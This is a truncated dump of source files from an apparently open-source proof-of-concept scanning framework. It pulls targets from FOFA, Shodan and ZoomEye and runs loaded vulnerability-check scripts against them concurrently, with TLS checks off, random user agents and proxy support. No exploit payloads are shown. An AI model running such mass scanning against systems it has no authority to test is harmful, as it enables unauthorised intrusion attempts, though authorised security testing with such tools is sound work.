/lib/api/fofa/fofa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import sys 10 | import json 11 | import base64 12 | from lib.utils.config import ConfigFileParser 13 | from lib.core.common import colorprint 14 | from lib.core.data import paths, conf 15 | from lib.core.Request import request 16 | from lib.core.log import logger 17 | 18 | 19 | def check(email, key): # verify email and key 20 | if email and key: 21 | auth_url = "https://fofa.so/api/v1/info/my?email={0}&key={1}".format(email, key) 22 | try: 23 | response = request.get(auth_url) 24 | if response.status_code == 200: 25 | return True 26 | except Exception as e: 27 | logger.debug(e) 28 | return False 29 | return False 30 | 31 | 32 | def handle_fofa(query, limit, offset=0): 33 | try: 34 | msg = '[+] Trying to login with credentials in config file: {}.'.format(paths.CONFIG_PATH) 35 | colorprint.green(msg) 36 | email = ConfigFileParser().fofa_email() 37 | key = ConfigFileParser().fofa_key() 38 | if check(email, key): 39 | pass 40 | else: 41 | raise Exception("Automatic authorization failed") # will go to except block 42 | except Exception as e: 43 | logger.debug(e) 44 | msg = '[*] Automatic authorization failed.' 45 | colorprint.cyan(msg) 46 | msg = '[*] Please input your FoFa Email and API Key below.' 47 | colorprint.cyan(msg) 48 | email = input("[*] Fofa Email: ").strip() 49 | key = input('[*] Fofa API Key: ').strip() 50 | if not check(email, key): 51 | msg = '[-] Fofa API authorization failed, Please re-run it and enter a valid key.' 52 | colorprint.red(msg) 53 | sys.exit() 54 | 55 | query = base64.b64encode(query.encode('utf-8')).decode('utf-8') 56 | 57 | # count how many result to search 58 | size = limit + offset 59 | 60 | url = f"https://fofa.so/api/v1/search/all?email={email}&key={key}&qbase64={query}&size={size}" 61 | try: 62 | response = request.get(url).text 63 | resp = json.loads(response) 64 | if not resp["error"]: 65 | for item in resp.get('results')[offset:]: 66 | conf.target.add(item[0]) 67 | 68 | except Exception as e: 69 | colorprint.red(e) 70 | sys.exit() 71 | -------------------------------------------------------------------------------- /lib/api/shodan/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/api/shodan/shodan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import sys 10 | from lib.core.data import paths, conf 11 | from lib.core.common import colorprint 12 | from lib.utils.config import ConfigFileParser 13 | from shodan import Shodan, APIError 14 | 15 | 16 | class ShodanBase: 17 | def __init__(self, query, limit, offset): 18 | self.query = query 19 | self.limit = limit 20 | self.offset = offset 21 | self.api_key = None 22 | 23 | def login(self): 24 | msg = '[+] Trying to login with credentials in config file: %s.' % paths.CONFIG_PATH 25 | colorprint.green(msg) 26 | self.api_key = ConfigFileParser().shodan_apikey() 27 | 28 | if not self.api_key: 29 | msg = '[*] Automatic authorization failed.' 30 | colorprint.cyan(msg) 31 | msg = '[*] Please input your Shodan API Key (https://account.shodan.io/).' 32 | colorprint.cyan(msg) 33 | self.api_key = input('[*] API KEY > ').strip() 34 | 35 | def account_info(self): 36 | try: 37 | if not self.api_key: 38 | colorprint.red("[-] Shodan api cant not be Null") 39 | sys.exit() 40 | api = Shodan(self.api_key) 41 | account_info = api.info() 42 | msg = "[+] Available Shodan query credits: %d" % account_info.get('query_credits') 43 | colorprint.green(msg) 44 | except APIError as e: 45 | colorprint.red(e) 46 | sys.exit() 47 | return True 48 | 49 | def api_query(self): 50 | try: 51 | api = Shodan(self.api_key) 52 | result = api.search(query=self.query, offset=self.offset, limit=self.limit) 53 | except APIError as e: 54 | colorprint.red(e) 55 | sys.exit() 56 | 57 | if 'matches' in result: 58 | for match in result.get('matches'): 59 | conf.target.add(match.get('ip_str') + ':' + str(match.get('port'))) 60 | else: 61 | pass 62 | 63 | 64 | def handle_shodan(query, limit, offset): 65 | s = ShodanBase(query, limit, offset) 66 | s.login() 67 | s.account_info() 68 | s.api_query() 69 | -------------------------------------------------------------------------------- /lib/api/zoomeye/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/api/zoomeye/zoomeye.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import json 10 | import sys 11 | 12 | from lib.core.data import paths, conf 13 | from lib.utils.config import ConfigFileParser 14 | from lib.core.common import colorprint 15 | from lib.core.Request import request 16 | 17 | class ZoomEye(): 18 | def __init__(self, username=None, password=None): 19 | self.username = username 20 | self.password = password 21 | self.token = '' 22 | self.zoomeye_dork_api = "https://api.zoomeye.org/{}/search" 23 | 24 | def auto_login(self): 25 | msg = '[+] Trying to login with credentials in config file: %s.' % paths.CONFIG_PATH 26 | colorprint.green(msg) 27 | try: 28 | self.username = ConfigFileParser().ZoomEyeEmail() 29 | self.password = ConfigFileParser().ZoomEyePassword() 30 | except: 31 | pass 32 | 33 | if bool(self.username and self.password): 34 | if self.get_token(): 35 | return 36 | 37 | msg = '[*] Automatic authorization failed.' 38 | colorprint.cyan(msg) 39 | self.manual_login() 40 | 41 | def manual_login(self): 42 | msg = '[*] Please input your ZoomEye Email and Password below.' 43 | colorprint.cyan(msg) 44 | self.username = input('[*] ZoomEye Username(Email): ').strip() 45 | self.password = input('[*] ZoomEye Password: ').strip() 46 | if not self.get_token(): 47 | msg = '[-] Error ZoomEye username or password.' 48 | colorprint.red(msg) 49 | sys.exit() 50 | 51 | def get_token(self): 52 | # Please access https://www.zoomeye.org/api/doc#login 53 | data = { 54 | 'username': self.username, 55 | 'password': self.password 56 | } 57 | data_encoded = json.dumps(data) # dumps 将 python 对象转换成 json 字符串 58 | res = request.post('https://api.zoomeye.org/user/login', data=data_encoded) 59 | if res and res.status_code == 200 and 'access_token' in res.text: 60 | res_decoded = json.loads(res.text) 61 | self.token = res_decoded['access_token'] 62 | return self.token 63 | return False 64 | 65 | def dork_search(self, dork, page=0, resource='web', facet=['ip']): 66 | """Search records with ZoomEye dorks. 67 | 68 | param: dork 69 | ex: country:cn 70 | access https://www.zoomeye.org/search/dorks for more details. 71 | param: page 72 | total page(s) number 73 | param: resource 74 | set a search resource type, ex: [web, host] 75 | param: facet 76 | ex: [app, device] 77 | A comma-separated list of properties to get summary information 78 | """ 79 | result = [] 80 | if isinstance(facet, (tuple, list)): 81 | facet = ','.join(facet) 82 | 83 | zoomeye_api = self.zoomeye_dork_api.format(resource) 84 | headers = {'Authorization': 'JWT %s' % self.token} 85 | params = {'query': dork, 'page': page + 1, 'facet': facet} 86 | resp = request.get(zoomeye_api, params=params, headers=headers) 87 | if resp and resp.status_code == 200 and 'matches' in resp.json(): 88 | matches = resp.json().get('matches') 89 | # total = resp.json().get('total') # all matches items num 90 | result = matches 91 | 92 | # Every match item incudes the following information: 93 | # geoinfo 94 | # description 95 | # check_time 96 | # title 97 | # ip 98 | # site 99 | # system 100 | # headers 101 | # keywords 102 | # server 103 | # domains 104 | 105 | return result 106 | 107 | def resources_info(self): 108 | """Resource info shows us available search times. 109 | 110 | host-search: total number of available host records to search 111 | web-search: total number of available web records to search 112 | """ 113 | data = None 114 | zoomeye_api = "https://api.zoomeye.org/resources-info" 115 | headers = {'Authorization': 'JWT %s' % self.token} 116 | resp = request.get(zoomeye_api, headers=headers) 117 | if resp and resp.status_code == 200 and 'plan' in resp.json(): 118 | data = resp.json() 119 | 120 | return data 121 | 122 | 123 | def handle_zoomeye(query, limit, type, offset): 124 | z = ZoomEye() 125 | z.auto_login() 126 | info = z.resources_info().get('resources') 127 | if info: 128 | msg = '[+] Available ZoomEye search: (search:%s)' % (info.get('search', 'NO FOUND')) 129 | colorprint.green(msg) 130 | else: 131 | msg = '[-] ZoomEye API authorization failed, Please re-run it and enter a new token.' 132 | colorprint.red(msg) 133 | sys.exit() 134 | # 开始爬取 135 | result_count = 0 136 | is_continue = True 137 | page = 0 138 | while is_continue: 139 | data = z.dork_search(query, page=page, resource=type) 140 | if data: 141 | for i in data: 142 | ip_str = i.get('ip') 143 | if 'portinfo' in i: 144 | ip_str = ip_str + ':' + str(i.get('portinfo').get('port')) 145 | result_count += 1 146 | if result_count >= offset: 147 | conf.target.add(ip_str) 148 | if len(conf.target) >= limit: 149 | is_continue = False 150 | break 151 | page += 1 152 | else: 153 | break -------------------------------------------------------------------------------- /lib/controller/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/controller/engine.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import gevent 10 | import sys 11 | import threading 12 | import time 13 | import traceback 14 | from lib.core.data import conf, th 15 | from lib.core.common import colorprint 16 | from lib.core.enums import POC_RESULT_STATUS 17 | from lib.utils.console import getTerminalSize 18 | from lib.core.log import logger 19 | 20 | 21 | def init_engine(): 22 | # init control parameter 23 | th.result = [] 24 | th.thread_mode = True if conf.engine_mode == "multi_threaded" else False 25 | th.tasks = conf.task_queue 26 | th.tasks_num = conf.task_queue.qsize() 27 | th.output_path = conf.output_path 28 | th.scan_count = th.found_count = 0 29 | th.is_continue = True 30 | th.console_width = getTerminalSize()[0] - 2 31 | 32 | # set concurrent number 33 | if th.tasks.qsize() < conf.concurrent_num: 34 | th.concurrent_count = th.concurrent_num = th.tasks.qsize() 35 | else: 36 | th.concurrent_count = th.concurrent_num = conf.concurrent_num 37 | 38 | th.start_time = time.time() 39 | 40 | 41 | def set_threadLock(): 42 | # set thread lock 43 | th.output_screen_lock = threading.Lock() 44 | th.found_count_lock = threading.Lock() 45 | th.scan_count_lock = threading.Lock() 46 | th.concurrent_count_lock = threading.Lock() 47 | th.file_lock = threading.Lock() 48 | th.load_lock = threading.Lock() 49 | 50 | 51 | def scan(): 52 | while True: 53 | if th.thread_mode: th.load_lock.acquire() 54 | if th.tasks.qsize() > 0 and th.is_continue: 55 | task = th.tasks.get(timeout=1.0) 56 | payload = str(task["target"]) 57 | module_obj = task["poc"] 58 | sys.stdout.write("(" + str(th.tasks_num-th.tasks.qsize()) + "/" + str(th.tasks_num) + ")\r") 59 | sys.stdout.flush() 60 | logger.info("testing: [{}] {}".format(module_obj.__name__, payload)) 61 | # colorprint.white(payload, end = '\r', flush=True) --> useless because of slow 62 | if th.thread_mode: th.load_lock.release() 63 | else: 64 | if th.thread_mode: th.load_lock.release() 65 | break 66 | try: 67 | status = module_obj.poc(payload) 68 | result_handler(status, task) 69 | except: 70 | th.err_msg = traceback.format_exc() 71 | th.is_continue = False 72 | # set scanned count + 1 73 | change_scan_count(1) 74 | # set running concurrent count -1 75 | change_concurrent_count(-1) # 76 | 77 | 78 | def free_conf_memory(): 79 | for k in conf.keys(): 80 | conf[k] = None 81 | 82 | 83 | def run(): 84 | init_engine() 85 | free_conf_memory() 86 | if th.thread_mode: 87 | # set lock for multi_threaded mode 88 | set_threadLock() 89 | colorprint.green('[+] Set working way Multi-Threaded mode') 90 | colorprint.green('[+] Set the number of thread: %d' % th.concurrent_num) 91 | colorprint.cyan("-----------------------------------------------") 92 | 93 | for i in range(th.concurrent_num): 94 | t = threading.Thread(target=scan, name=str(i)) 95 | t.setDaemon(True) 96 | t.start() 97 | # It can quit with Ctrl-C 98 | while th.concurrent_count > 0 and th.is_continue: 99 | time.sleep(0.01) 100 | 101 | # Coroutine mode 102 | else: 103 | colorprint.green('[+] Set working way Coroutine mode') 104 | colorprint.green('[+] Set the number of Coroutine: %d' % th.concurrent_num) 105 | colorprint.cyan("-----------------------------------------------") 106 | gevent.joinall([gevent.spawn(scan) for i in range(0, th.concurrent_num)]) 107 | 108 | # save result to output file 109 | output2file(th.result) 110 | print_progress() 111 | if 'err_msg' in th: 112 | colorprint.red(th.err_msg) 113 | 114 | 115 | def result_handler(status, task): 116 | 117 | if not status or status is POC_RESULT_STATUS.FAIL: 118 | logger.debug('not vuln: [{}] {}'.format(task['poc'].__name__, task["target"])) 119 | return 120 | 121 | # try again 122 | elif status is POC_RESULT_STATUS.RETRAY: 123 | logger.debug('try again: [{}] {}'.format(task['poc'].__name__, task["target"])) 124 | change_scan_count(-1) 125 | th.tasks.put(task) 126 | return 127 | 128 | # vulnerable 129 | elif status is True or status is POC_RESULT_STATUS.SUCCESS: 130 | logger.debug('vuln: [{}] {}'.format(task['poc'].__name__, task["target"])) 131 | msg = '[{}] {}'.format(task['poc'].__name__, task["target"]) 132 | if th.thread_mode: th.output_screen_lock.acquire() 133 | colorprint.white(msg + " " * (th.console_width - len(msg))) 134 | if th.thread_mode: th.output_screen_lock.release() 135 | th.result.append(msg) 136 | 137 | # URLTEST 138 | elif status is POC_RESULT_STATUS.URLTEST: 139 | logger.debug('url test: [{}] {}'.format(task['poc'].__name__, task["target"])) 140 | msg = '[{}] {}'.format(task['poc'].__name__, task["target"]) 141 | th.result.append(msg) 142 | 143 | # If there is a lot of information, Line feed display 144 | elif isinstance(status, list): 145 | if th.thread_mode: th.output_screen_lock.acquire() 146 | for _msg in status: 147 | msg = '[{}] {}'.format(task['poc'].__name__, _msg) 148 | colorprint.white(msg + " " * (th.console_width - len(msg))) 149 | th.result.append(msg) 150 | if th.thread_mode: th.output_screen_lock.release() 151 | 152 | else: 153 | msg = '[{}] {}'.format(task['poc'].__name__, str(status)) 154 | if th.thread_mode: th.output_screen_lock.acquire() 155 | colorprint.white(msg + " " * (th.console_width - len(msg))) 156 | if th.thread_mode: th.output_screen_lock.release() 157 | th.result.append(msg) 158 | 159 | # get found number of payload +1 160 | change_found_count(1) 161 | 162 | # save result to file and empty list 163 | if th.result: 164 | output2file(th.result) 165 | th.result = [] 166 | 167 | 168 | def change_scan_count(num): 169 | if th.thread_mode: th.scan_count_lock.acquire() 170 | th.scan_count += num 171 | if th.thread_mode: th.scan_count_lock.release() 172 | 173 | 174 | def output2file(msg): 175 | if th.thread_mode: th.file_lock.acquire() 176 | with open(th.output_path, 'a') as f: 177 | for res in msg: 178 | f.write(res + '\n') 179 | if th.thread_mode: th.file_lock.release() 180 | 181 | 182 | def change_found_count(num): 183 | if th.thread_mode: th.found_count_lock.acquire() 184 | th.found_count += num 185 | if th.thread_mode: th.found_count_lock.release() 186 | 187 | 188 | def change_concurrent_count(num): 189 | if th.thread_mode: th.concurrent_count_lock.acquire() 190 | th.concurrent_count += num 191 | if th.thread_mode: th.concurrent_count_lock.release() 192 | 193 | 194 | def print_progress(): 195 | print('\n') 196 | msg = '%s found | %s remaining | %s tasks done in %.2f seconds' % ( 197 | th.found_count, th.tasks.qsize(), th.scan_count, time.time() - th.start_time) 198 | out = '\r' + ' ' * (th.console_width - len(msg)) + msg 199 | colorprint.blue(out) -------------------------------------------------------------------------------- /lib/controller/loader.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | 10 | from lib.core.data import conf 11 | import importlib.util 12 | import os 13 | import sys 14 | import queue 15 | import traceback 16 | from lib.core.common import colorprint 17 | 18 | 19 | def load(): 20 | load_poc() 21 | conf.task_queue = queue.Queue() 22 | for poc in conf.poc_module: 23 | for target in conf.target: 24 | task = { 25 | "poc": poc, 26 | "target": target 27 | } 28 | conf.task_queue.put(task) 29 | 30 | 31 | def load_poc(): 32 | conf.poc_module = [] 33 | for module_path in conf.module_path: 34 | try: 35 | module_name = os.path.basename(module_path).split(".")[0] 36 | module_spec = importlib.util.spec_from_file_location(module_name, module_path) 37 | module = importlib.util.module_from_spec(module_spec) 38 | module_spec.loader.exec_module(module) 39 | # module.__name__ == module_name 40 | msg = '[+] Load custom script: {}'.format(os.path.basename(module_path)) 41 | colorprint.green(msg) 42 | conf.poc_module.append(module) 43 | 44 | except: 45 | msg = "[-] Your current script [{}] caused this exception\n[-] Error Msg:\n{}".format(os.path.basename(module_path),traceback.format_exc()) 46 | colorprint.red(msg) 47 | sys.exit(0) -------------------------------------------------------------------------------- /lib/core/Request.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | 10 | import requests 11 | import urllib3 12 | import socks 13 | import socket 14 | from lib.core.data import conf 15 | from plugin.random_ua import get_random_ua 16 | 17 | class Requests: 18 | 19 | def __init__(self): 20 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 21 | requests.packages.urllib3.disable_warnings() 22 | 23 | if conf.proxy: 24 | protocol, ip, port = conf.proxy 25 | if protocol == "socks5": 26 | socks.set_default_proxy(socks.SOCKS5, ip, port) 27 | elif protocol == "socks4": 28 | socks.set_default_proxy(socks.SOCKS4, ip, port) 29 | else: 30 | socks.set_default_proxy(socks.HTTP, ip, port) 31 | socket.socket = socks.socksocket 32 | 33 | def __getattr__(self, method): 34 | def inner(*args, **kwargs): 35 | # setting random user agent 36 | if "headers" not in kwargs.keys(): 37 | kwargs['headers'] = {'User-Agent': get_random_ua()} 38 | elif 'User-Agent' not in kwargs['headers'].keys(): 39 | kwargs['headers']['User-Agent'] = get_random_ua() 40 | 41 | # setting exclude ssl 42 | if "verify" not in kwargs.keys(): 43 | kwargs['verify'] = False 44 | 45 | f = getattr(requests, method) 46 | return f(*args, **kwargs) 47 | return inner 48 | 49 | request = Requests() -------------------------------------------------------------------------------- /lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | pass -------------------------------------------------------------------------------- /lib/core/common.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import os.path 10 | from lib.core.setting import BANNER 11 | from lib.core.data import paths 12 | from thirdlib.colorama import init, Fore, Style 13 | 14 | init(autoreset=True) 15 | 16 | 17 | class ColorPrint: 18 | 19 | @staticmethod 20 | def white(s, end='\n', flush=False): 21 | print(Style.BRIGHT+Fore.WHITE + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 22 | 23 | @staticmethod 24 | def green(s, end='\n', flush=False): 25 | print(Style.BRIGHT+Fore.GREEN + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 26 | 27 | @staticmethod 28 | def cyan(s, end='\n', flush=False): 29 | print(Style.BRIGHT+Fore.CYAN + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 30 | 31 | @staticmethod 32 | def red(s, end='\n', flush=False): 33 | print(Style.BRIGHT+Fore.RED + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 34 | 35 | @staticmethod 36 | def blue(s, end='\n', flush=False): 37 | print(Style.BRIGHT+Fore.BLUE + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 38 | 39 | @staticmethod 40 | def yellow(s, end='\n', flush=False): 41 | print(Style.BRIGHT+Fore.YELLOW + str(s) + Fore.RESET+Style.RESET_ALL, end=end, flush=flush) 42 | 43 | 44 | colorprint = ColorPrint() 45 | 46 | 47 | def set_paths(root_path): 48 | """ 49 | Sets absolute paths for project directories and files 50 | """ 51 | paths.ROOT_PATH = root_path # root path 52 | paths.DATA_PATH = os.path.join(paths.ROOT_PATH, "data") 53 | paths.SCRIPT_PATH = os.path.join(paths.ROOT_PATH, "scripts") 54 | paths.PLUGIN_PATH = os.path.join(paths.ROOT_PATH, "plugin") 55 | paths.OUTPUT_PATH = os.path.join(paths.ROOT_PATH, "output") 56 | paths.CONFIG_PATH = os.path.join(paths.ROOT_PATH, "config.conf") 57 | if not os.path.exists(paths.SCRIPT_PATH): 58 | err_msg = "script file missing,it may cause some issues." 59 | colorprint.red(err_msg) 60 | os.mkdir(paths.SCRIPT_PATH) 61 | if not os.path.exists(paths.PLUGIN_PATH): 62 | err_msg = "plugin file missing,it may cause some issues." 63 | colorprint.red(err_msg) 64 | os.mkdir(paths.PLUGIN_PATH) 65 | if not os.path.exists(paths.OUTPUT_PATH): 66 | os.mkdir(paths.OUTPUT_PATH) 67 | if not os.path.exists(paths.DATA_PATH): 68 | os.mkdir(paths.DATA_PATH) 69 | 70 | if os.path.isfile(paths.CONFIG_PATH): 71 | pass 72 | else: 73 | err_msg = 'Config files missing, it may cause some issues.\n' 74 | colorprint.red(err_msg) 75 | 76 | 77 | def banner(): 78 | colorprint.blue(BANNER) 79 | 80 | 81 | def gen_ip(ip_range): 82 | ''' 83 | print (gen_ip('192.18.1.1-192.168.1.3')) 84 | ==> ['192.168.1.1', '192.168.1.2', '192.168.1.3'] 85 | from https://segmentfault.com/a/1190000010324211 86 | ''' 87 | def num2ip(num): 88 | return '%s.%s.%s.%s' % ((num >> 24) & 0xff, (num >> 16) & 0xff, (num >> 8) & 0xff, (num & 0xff)) 89 | 90 | def ip2num(ip): 91 | ips = [int(x) for x in ip.split('.')] 92 | return ips[0] << 24 | ips[1] << 16 | ips[2] << 8 | ips[3] 93 | 94 | start, end = [ip2num(x) for x in ip_range.split('-')] 95 | return [num2ip(num) for num in range(start, end+1) if num & 0xff] 96 | -------------------------------------------------------------------------------- /lib/core/data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | from lib.core.datatype import AttribDict 10 | # pocframe paths 11 | paths = AttribDict() 12 | 13 | # object to store original command line options 14 | cmdLineOptions = AttribDict() 15 | 16 | # object to share within function and classes command 17 | # line options and settings 18 | conf = AttribDict() 19 | 20 | # object to control engine 21 | th = AttribDict() -------------------------------------------------------------------------------- /lib/core/datatype.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | import copy 10 | import types 11 | 12 | class AttribDict(dict): 13 | """ 14 | This class defines the project object, inheriting from Python data 15 | type dictionary. 16 | 17 | >>> foo = AttribDict() 18 | >>> foo.bar = 1 19 | >>> foo.bar 20 | 1 21 | """ 22 | 23 | def __init__(self, indict=None, attribute=None): 24 | if indict is None: 25 | indict = {} 26 | 27 | # Set any attributes here - before initialisation 28 | # these remain as normal attributes 29 | self.attribute = attribute 30 | dict.__init__(self, indict) 31 | self.__initialised = True 32 | 33 | # After initialisation, setting attributes 34 | # is the same as setting an item 35 | 36 | def __getattr__(self, item): 37 | """ 38 | Maps values to attributes 39 | Only called if there *is NOT* an attribute with this name 40 | """ 41 | 42 | try: 43 | return self.__getitem__(item) 44 | except KeyError: 45 | raise AttributeError("unable to access item '%s'" % item) 46 | 47 | def __setattr__(self, item, value): 48 | """ 49 | Maps attributes to values 50 | Only if we are initialised 51 | """ 52 | 53 | # This test allows attributes to be set in the __init__ method 54 | if "_AttribDict__initialised" not in self.__dict__: 55 | return dict.__setattr__(self, item, value) 56 | 57 | # Any normal attributes are handled normally 58 | elif item in self.__dict__: 59 | dict.__setattr__(self, item, value) 60 | 61 | else: 62 | self.__setitem__(item, value) 63 | 64 | def __getstate__(self): 65 | return self.__dict__ 66 | 67 | def __setstate__(self, dict): 68 | self.__dict__ = dict 69 | 70 | def __deepcopy__(self, memo): 71 | retVal = self.__class__() 72 | memo[id(self)] = retVal 73 | 74 | for attr in dir(self): 75 | if not attr.startswith('_'): 76 | value = getattr(self, attr) 77 | if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): 78 | setattr(retVal, attr, copy.deepcopy(value, memo)) 79 | 80 | for key, value in self.items(): 81 | retVal.__setitem__(key, copy.deepcopy(value, memo)) 82 | 83 | return retVal 84 | 85 | -------------------------------------------------------------------------------- /lib/core/enums.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | class COLOR: 9 | black = 30 # 黑色 10 | red = 31 # 红色 11 | green = 32 # 绿色 12 | yellow = 33 # 黄色 13 | blue = 34 # 蓝色 14 | purple = 35 # 紫红色 15 | cyan = 36 # 青蓝色 16 | white = 37 # 白色 17 | 18 | class POC_RESULT_STATUS: 19 | FAIL = 0 20 | SUCCESS = 1 21 | RETRAY = 2 22 | URLTEST = 3 23 | 24 | class PROXY_TYPE: # keep same with SocksiPy(import socks) 25 | PROXY_TYPE_SOCKS4 = SOCKS4 = 1 26 | PROXY_TYPE_SOCKS5 = SOCKS5 = 2 27 | PROXY_TYPE_HTTP = HTTP = 3 28 | PROXY_TYPE_HTTP_NO_TUNNEL = 4 -------------------------------------------------------------------------------- /lib/core/log.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | import sys 9 | import logging 10 | 11 | logger = logging.getLogger("pocframe") 12 | LOGGER_HANDLER = logging.StreamHandler(sys.stdout) 13 | FORMATTER = logging.Formatter("\r[%(asctime)s][%(levelname)s] %(message)s", "%H:%M:%S") 14 | LOGGER_HANDLER.setFormatter(FORMATTER) 15 | logger.addHandler(LOGGER_HANDLER) 16 | 17 | 18 | -------------------------------------------------------------------------------- /lib/core/option.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @Author: r0cky 5 | @Github: https://github.com/r0ckysec/pocframe 6 | @Time: 2020/7/8-19:00 7 | """ 8 | 9 | 10 | import os 11 | import sys 12 | import time 13 | import re 14 | import logging 15 | import ipaddress 16 | from lib.core.data import paths, conf 17 | from lib.core.common import colorprint, gen_ip 18 | from lib.utils.config import ConfigFileParser 19 | from lib.core.log import logger 20 | 21 | 22 | def init_options(args): 23 | check_show(args) 24 | logger_lever_set(args) 25 | proxy_regester(args) 26 | engine_register(args) 27 | script_register(args) 28 | target_register(args) 29 | output_register(args) 30 | 31 | 32 | def check_show(args): 33 | # if show scripts 34 | if args.show_scripts: 35 | module_name_list = os.listdir(paths.SCRIPT_PATH) 36 | colorprint.green('[+] Script Name ') 37 | order = 1 38 | for module in module_name_list: 39 | # only show useful scripts 40 | if module not in ['__init__.py', 'test.py'] and os.path.splitext(module)[1] == '.py': 41 | colorprint.green(str(order) + '. ' + module) 42 | order += 1 43 | msg = '\n' + ' ' * 25 + 'Total: %d' % (order-1) 44 | colorprint.green(msg) 45 | sys.exit() 46 | 47 | 48 | def engine_register(args): 49 | # if the engine mode is conflicting 50 | if args.engine_thread and args.engine_gevent: 51 | colorprint.red("Cannot use Multi-Threaded mode and Coroutine mode at the same time") 52 | colorprint.red('Use [-eT] to set Multi-Threaded mode or [-eG] to set Coroutine mode') 53 | sys.exit() 54 | 55 | # else if engine mode is Multi-Threaded mode 56 | elif args.engine_thread: 57 | conf.engine_mode = "multi_threaded" 58 | 59 | # else if engine mode is Coroutine mode 60 | else: 61 | conf.engine_mode = 'coroutine' 62 | 63 | # set concurrent num 64 | if args.concurrent_num > 1000 or args.concurrent_num < 1: 65 | warn_msg = "setting concurrent num {}. Maybe it's too much, continue? [y/N] (default y): ".format(args.concurrent_num) 66 | colorprint.cyan(warn_msg, end='') 67 | flag = input() 68 | if flag.lower() in ('y', 'yes',''): 69 | conf.concurrent_num = args.concurrent_num 70 | else: 71 | msg = '[-] User quit!' 72 | colorprint.cyan(msg) 73 | sys.exit() 74 | conf.concurrent_num = args.concurrent_num 75 | 76 | def conf_path_add(module_path, script_name): 77 | # handle input: "-s ./script/spider.py" 78 | if os.path.split(script_name)[0]: 79 | if os.path.exists(script_name): 80 | if os.path.isfile(script_name): 81 | if script_name.endswith('.py'): 82 | module_path.append(os.path.abspath(script_name)) 83 | else: 84 | msg = '[-] [{}] not a Python file. Example: [-s spider] or [-s ./scripts/spider.py]'.format( 85 | script_name) 86 | colorprint.red('[-] ' + msg) 87 | sys.exit() 88 | else: 89 | msg = '[-] [{}] not a file. Example: [-s spider] or [-s ./scripts/spider.py]'.format( 90 | script_name) 91 | colorprint.red(msg) 92 | sys.exit() 93 | else: 94 | msg = '[-] [{}] 